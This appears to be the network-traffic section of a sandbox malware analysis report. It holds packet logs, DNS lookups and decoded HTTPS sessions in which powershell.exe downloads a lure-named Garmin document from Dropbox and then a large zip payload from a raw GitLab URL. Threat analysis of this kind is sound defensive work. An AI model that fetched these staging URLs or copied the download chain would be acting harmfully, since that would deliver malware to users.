Dec 19, 2024 14:20:28.067353964 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.092879057 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.092905045 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.093383074 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.093404055 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.093569040 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.096225023 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.096244097 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.096822023 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.096841097 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.097379923 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.185966015 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.186029911 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.186069965 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.186083078 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.186193943 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.186193943 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.191150904 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.191204071 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.191287041 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.191287994 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.191299915 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.191397905 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.195395947 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.195420980 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.195612907 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.195621967 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.195683956 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.225428104 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.225483894 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.225584030 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.225584030 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.225598097 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.225969076 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.230149031 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.230218887 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.230256081 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.230263948 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.230325937 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.230325937 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.257342100 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.257366896 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.257442951 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.257452011 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.257508993 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.285191059 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.285222054 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.285346031 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.285346031 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.285356998 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.285789967 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.289047956 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.289076090 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.289163113 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.289163113 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.289171934 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.289249897 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.378863096 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.378890038 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.378969908 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.378981113 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.379040003 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.379040003 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.382962942 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.382983923 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.383090019 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.383097887 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.383241892 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.388557911 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.388577938 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.388700008 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.388708115 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.388848066 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.418370008 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.418397903 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.418514013 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.418514013 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.418524027 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.418582916 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.422934055 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.422957897 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.423046112 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.423054934 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.423152924 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.448910952 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.448934078 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.449001074 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.449008942 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.449034929 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.449068069 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.477369070 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.477400064 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.477459908 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.477472067 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.477516890 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.477516890 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.481443882 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.481468916 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.481548071 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.481556892 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.481585979 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.481626987 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.583035946 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.583061934 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.583178043 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.583200932 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.583250999 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.589677095 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.589704037 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.589822054 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.589822054 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.589832067 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.589894056 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.595201969 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.595241070 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.595330000 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.595339060 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.595351934 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.610065937 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.610094070 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.610219955 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.610219955 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.610233068 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.615132093 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.615150928 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.615257025 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.615257025 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.615267992 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.648153067 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.648179054 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.648283005 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.648296118 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.648375034 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.652117014 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.652138948 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.652158022 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.652224064 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.652235031 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.652246952 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.673737049 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.673763037 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.673850060 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.673861980 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.673880100 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.723679066 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.765172005 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.765188932 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.765219927 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.765228987 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.765243053 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.765250921 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.765274048 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.765357971 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.774712086 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.774722099 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.774749994 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.774759054 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.774863958 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.774863958 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.774879932 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.775182962 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.782768965 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.782779932 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.782809973 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.782866955 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.782880068 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.782892942 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.782975912 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.800709009 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.800733089 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.800849915 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.800860882 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.801142931 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.805412054 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.805430889 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.805561066 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.805569887 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.805685043 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.839646101 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.839679003 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.839721918 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.839740038 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.839787006 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.839787006 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.843003035 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.843022108 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.843121052 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.843128920 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.843266010 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.865046024 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.865082026 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.865180969 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.865192890 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.865293026 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.956582069 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.956603050 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.956685066 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.956698895 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.956778049 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.966325045 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.966351032 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.966428995 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.966437101 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.966468096 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.966552973 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.974807978 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.974832058 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.974905968 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.974914074 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.974973917 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.993050098 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.993068933 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.993215084 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.993240118 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.993340969 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.997771978 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.997786999 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.997870922 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.997870922 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:28.997880936 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:28.998121023 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:29.033797026 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:29.033823967 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:29.033910036 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:29.033922911 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:29.033973932 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:29.035347939 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:29.035454988 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:29.035461903 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:29.054948092 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:29.054968119 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:29.055079937 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:29.055089951 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:29.059267998 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:29.059283018 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:29.059338093 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:29.059345007 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:29.059381008 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:29.098630905 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:29.157296896 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:29.157310963 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:29.157349110 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:29.157378912 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:29.157401085 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:29.157413960 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:29.157435894 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:29.157480955 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:29.170036077 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:29.170054913 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:29.170140982 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:29.170140982 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:29.170150995 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:29.170275927 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:29.351244926 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:29.351268053 CET	443	49739	172.65.251.78	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 19, 2024 14:20:07.679132938 CET	192.168.2.6	1.1.1.1	0xd374	Standard query (0)	www.dropbox.com	A (IP address)	IN (0x0001)	false
Dec 19, 2024 14:20:15.216942072 CET	192.168.2.6	1.1.1.1	0x85ef	Standard query (0)	gitlab.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 19, 2024 14:20:07.817658901 CET	1.1.1.1	192.168.2.6	0xd374	No error (0)	www.dropbox.com	www-env.dropbox-dns.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 19, 2024 14:20:07.817658901 CET	1.1.1.1	192.168.2.6	0xd374	No error (0)	www-env.dropbox-dns.com		162.125.69.18	A (IP address)	IN (0x0001)	false
Dec 19, 2024 14:20:15.439826965 CET	1.1.1.1	192.168.2.6	0x85ef	No error (0)	gitlab.com		172.65.251.78	A (IP address)	IN (0x0001)	false
Dec 19, 2024 14:20:29.956125975 CET	1.1.1.1	192.168.2.6	0x717e	No error (0)	g-bing-com.ax-0001.ax-msedge.net	ax-0001.ax-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 19, 2024 14:20:29.956125975 CET	1.1.1.1	192.168.2.6	0x717e	No error (0)	ax-0001.ax-msedge.net		150.171.28.10	A (IP address)	IN (0x0001)	false
Dec 19, 2024 14:20:29.956125975 CET	1.1.1.1	192.168.2.6	0x717e	No error (0)	ax-0001.ax-msedge.net		150.171.27.10	A (IP address)	IN (0x0001)	false

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49719	162.125.69.18	443	5000	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 13:20:09 UTC	192	OUT	GET /scl/fi/mfmemsox3eb9769rgrajn/Garmin_Campaign_Information_for_Partners_V11.docx?rlkey=oy421vwzu8dsedagxt4w0ddsw&st=31jc5byu&dl=1 HTTP/1.1 Host: www.dropbox.com Connection: Keep-Alive
2024-12-19 13:20:10 UTC	4091	IN	HTTP/1.1 302 Found Content-Security-Policy: script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/* https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-inline' ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: ; object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; font-src https://* data: ; connect-src https://* ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; frame-ancestors 'self' https://.dropbox.com ; frame-src https:// [TRUNCATED] Content-Type: text/html; charset=utf-8 Location: https://uc70263987fbdc807f2c64405811.dl.dropboxusercontent.com/cd/0/get/CghynLncRCxsD1w_kJ7iXmbTCmrHy3-ZL2nYBBn-g1PujtB_f8P1CoaU3sOn0QyMCrXf7N9N8ekQGygrKKk-59ElBQX_VtXPZqZEbNmwcJ7TTYRVkmFFvSAm_WP2ThRMqeABOefHTPwnQk-UKAlXQk3r/file?dl=1# Pragma: no-cache Referrer-Policy: strict-origin-when-cross-origin Set-Cookie: gvc=MTgwNDU2NTcwNjMyMjg1NzU1NTkyNDE3Njc4MzY0ODQ3OTk4NzM1; Path=/; Expires=Tue, 18 Dec 2029 13:20:09 GMT; HttpOnly; Secure; SameSite=None Set-Cookie: t=254zyF93DBucNXOJvyS6T33p; Path=/; Domain=dropbox.com; Expires=Fri, 19 Dec 2025 13:20:09 GMT; HttpOnly; Secure; SameSite=None Set-Cookie: __Host-js_csrf=254zyF93DBucNXOJvyS6T33p; Path=/; Expires=Fri, 19 Dec 2025 13:20:09 GMT; Secure; SameSite=None Set-Cookie: __Host-ss=MfMi9CPkFU; Path=/; Expires=Fri, 19 Dec 2025 13:20:09 GMT; HttpOnly; Secure; SameSite=Strict Set-Cookie: locale=en; Path=/; Domain=dropbox.com; Expires=Tue, 18 Dec 2029 13:20:09 GMT X-Content-Type-Options: nosniff X-Permitted-Cross-Domain-Policies: none X-Robots-Tag: noindex, nofollow, noimageindex X-Xss-Protection: 1; mode=block Content-Length: 17 Date: Thu, 19 Dec 2024 13:20:10 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains Server: envoy Cache-Control: no-cache, no-store X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: 56a9bad43b4644bc8380c678f2aaa77f Connection: close
2024-12-19 13:20:10 UTC	17	IN	Data Raw: 3c 21 2d 2d 73 74 61 74 75 73 3d 33 30 32 2d 2d 3e Data Ascii: ...status=302-->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49739	172.65.251.78	443	7664	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 13:20:16 UTC	97	OUT	GET /fgh8090051/jgh/-/raw/main/FGa1812.zip HTTP/1.1 Host: gitlab.com Connection: Keep-Alive
2024-12-19 13:20:17 UTC	453	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 13:20:17 GMT Content-Type: application/octet-stream Content-Length: 68976514 Connection: close CF-Ray: 8f47b06a5b000c8a-EWR CF-Cache-Status: HIT Accept-Ranges: bytes Age: 3 Cache-Control: max-age=60, public, must-revalidate, stale-while-revalidate=60, stale-if-error=300, s-maxage=60 Content-Disposition: attachment ETag: "9f57f909b1d98bfee8b260d2bf18a4c9" Strict-Transport-Security: max-age=31536000
2024-12-19 13:20:17 UTC	2134	IN	Data Raw: 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 20 63 68 69 6c 64 2d 73 72 63 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 72 65 63 61 70 74 63 68 61 2f 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 72 65 63 61 70 74 63 68 61 2e 6e 65 74 2f 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 74 61 67 6d 61 6e 61 67 65 72 2e 63 6f 6d 2f 6e 73 2e 68 74 6d 6c 20 68 74 74 70 73 3a 2f 2f 2a 2e 7a 75 6f 72 61 2e 63 6f 6d 2f 61 70 70 73 2f 50 75 62 6c 69 63 48 6f 73 74 65 64 50 61 67 65 4c 69 74 65 2e 64 6f 20 68 74 74 70 73 3a 2f 2f 67 69 74 6c 61 62 2e 63 6f 6d 2f 61 64 6d 69 6e 2f 20 68 74 74 70 73 3a 2f 2f 67 69 74 6c 61 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2f Data Ascii: content-security-policy: base-uri 'self'; child-src https://www.google.com/recaptcha/ https://www.recaptcha.net/ https://www.googletagmanager.com/ns.html https://*.zuora.com/apps/PublicHostedPageLite.do https://gitlab.com/admin/ 